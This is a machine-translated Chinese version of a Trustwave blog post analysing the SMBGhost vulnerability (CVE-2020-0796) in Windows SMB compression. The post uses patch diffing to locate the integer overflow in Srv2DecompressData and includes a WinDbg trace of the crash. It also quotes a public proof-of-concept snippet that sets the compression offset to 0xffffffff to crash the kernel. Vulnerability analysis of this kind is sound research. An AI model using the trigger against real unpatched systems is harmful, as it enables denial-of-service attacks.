[Windows翻译]Windows调试和利用第五部分:SMBGhost CVE-2020-0796技术回顾

480 阅读6分钟

原文地址:www.trustwave.com/en-us/resou…

原文作者:

发布时间:2020年4月3日

简介

大家好,你们好吗?我知道这个时代很奇怪,但我们应该一起战斗,互相支持,希望到最后一切都会好起来的

我可能有点晚了,但我认为CVE-2020-0796(又名SMBGhost)的发布是一个很好的机会,可以为我的Windows调试系列增加一个新的部分。它将给我们一个机会来补充我们在第一部分中收集的知识,并讨论一些新的和当前的东西。

CVE-2020-0796在2020年3月13日被正式披露(在一些混乱之后),影响到Windows Server/10 x86/x64/ARM64 build 1903和1909。微软将其描述为''可蠕虫'',因为它可能允许未经认证的和任意的远程代码执行。这使它有能力在网络上自动传播,反过来,使它成为一个非常有趣的漏洞来分析。

在这篇博客中,我们将使用第一篇博文中的实验室设置和第二篇博文中讨论的一些技术,所以又是一个很好的机会,把我们从上一篇博文中学到的一些东西放在一起进行实际工作。

分析

外面已经有很多关于SMBGhost的信息,包括Synacktiv的一篇很好的文章,但我将尽可能地教育性地介绍一些基本方面。

BinDiff

发现被修补的漏洞的方法之一是比较旧的二进制文件和被修补的文件。使用像IDA Pro + BinDiff这样的工具,我们能够确定文件上有什么变化,然后对这些修改进行静态分析,以识别和了解漏洞。

要开始,我们可以按照下面的策略(感谢hugsy!)。

  • 确保你是在1903或1909版本上 -- 我已经犯了太多次这样的错误,所以你不应该:)
  • 给系统打上补丁。
  • 取回打过补丁的二进制文件。
  • 反向更新安装。
  • 检索未打补丁的二进制文件,你就可以准备好测试系统了!

我们知道,负责SMB服务器的二进制文件是srv2.sys。打开srv2.sys的未打补丁版本,然后与打了补丁的版本进行比较。

image.png

我们可以看到,只有几个功能是相互区别的。其中一个是特别的。Srv2DecompressData,让我们比较一下这个函数的流程。

image.png

所以,这里就是漏洞,在一个数学运算(加法)之后,有一个缓冲区分配,利用了用户控制的两个参数,没有经过过滤,这可能引发溢出和下溢。

00000001C0017EC8  mov rax, qword ptr [rsp+58h+Header.ProtocolId]
00000001C0017ECD  xor edx, edx
00000001C0017ECF  shr rax, 20h ;  OriginalCompressedSegmentSize
00000001C0017ED3  shr rcx, 20h ;  OffsetOrLength|
00000001C0017ED7  add ecx, eax
00000001C0017ED9  call cs:__imp_SrvNetAllocateBuffer

为了理解这些参数在通信中的位置,我们必须回到协议规范中去理解。

OriginalCompressedSegmentSize用于确定未压缩数据的大小,OffsetOrLength用于连锁压缩数据包,这在官方文件中是明确的。

image.png

由于OriginalCompressedSegmentSize和OffsetOrLength是32位无符号长,所以这些参数没有安全检查,我们可以在这些参数上发送意想不到的值,这些将在应用程序中触发异常行为,在这种情况下,系统崩溃导致著名的BSoD。

触发

有几个PoC可用于测试目的,在这一点上,只有*导致BSoD。我们可以使用任何一个,并且用WinDBG调试SMB,以检查它的内部行为。

我使用了这个PoC,它是非常直接的。它使用smbprotocol库来构建数据包,并定义了smbprotocol/connection.py上描述的OffsetOrLength(0xffffffff)的最高值。

1448:    def _compress(self, b_data, session):
1449:       header = SMB2CompressionTransformHeader()
1450:        header['original_size'] = len(b_data)
1451:        header['offset'] = 4294967295
1452:        header['data'] = smbprotocol.lznt1.compress(b_data)

我在该函数上设置了一个断点并运行了PoC。

Breakpoint 0 hit
srv2!Srv2DecompressData+0x6f:
fffff805`3e1f7ecf 48c1e820        shr rax,20h

0: kd> u

srv2!Srv2DecompressData+0x6f:
fffff805`3e1f7ecf 48c1e820        shr rax,20h
fffff805`3e1f7ed3 48c1e920        shr rcx,20h
fffff805`3e1f7ed7 03c8            add ecx,eax
fffff805`3e1f7ed9 4c8b15489a0200  mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff805`3e221928)]
fffff805`3e1f7ee0 e84be82b00      call srvnet!SrvNetAllocateBuffer (fffff805`3e4b6730)
fffff805`3e1f7ee5 488bd8          mov rbx,rax
fffff805`3e1f7ee8 4885c0          test rax,rax
fffff805`3e1f7eeb 750a            jne srv2!Srv2DecompressData+0x97 (fffff805`3e1f7ef7)

0: kd> r

rax=000001ac424d53fc rbx=ffff850dfa3f9710 rcx=ffffffffffff0001
rdx=0000000000000000 rsi=ffffffffffffffff rdi=ffff850dfa3f9710
rip=fffff8053e1f7ecf rsp=fffffb85e531de70 rbp=0000000000000001
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000000000002 r12=0000000000000000 r13=ffff850df9381240
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018 ds=002b  es=002b fs=0053 gs=002b             efl=00040246
[..]

DTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000050
(0xFFFF850EFBEC605F,0x0000000000000000,0xFFFFF80536AEB6F7,0x0000000000000002)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v

在执行srvnet!SmbCompressionDecompress时,这些数据将触发BSoD。

image.png

似乎这个漏洞也会影响到客户端(见McAfee博客的分析)。在这种情况下,客户端上的功能是在mrxsmb.sys文件中触发的。

总结

我真的很喜欢看这样的东西。这是一个非常经典的漏洞,对系统有巨大的风险。我们还能够使用这些系列中的一些旧文章,将我们的知识应用于现代Windows系统中的一个真正的漏洞。这真是太棒了!

由于内核中的KASLR保护措施,这个漏洞可能很难被利用,但也许我会在下一篇文章中准备一些东西。正如你所看到的,我没有遵循任何特定的顺序,但如果你觉得我可以写些什么,请告诉我 谢谢你!"。


www.deepl.com 翻译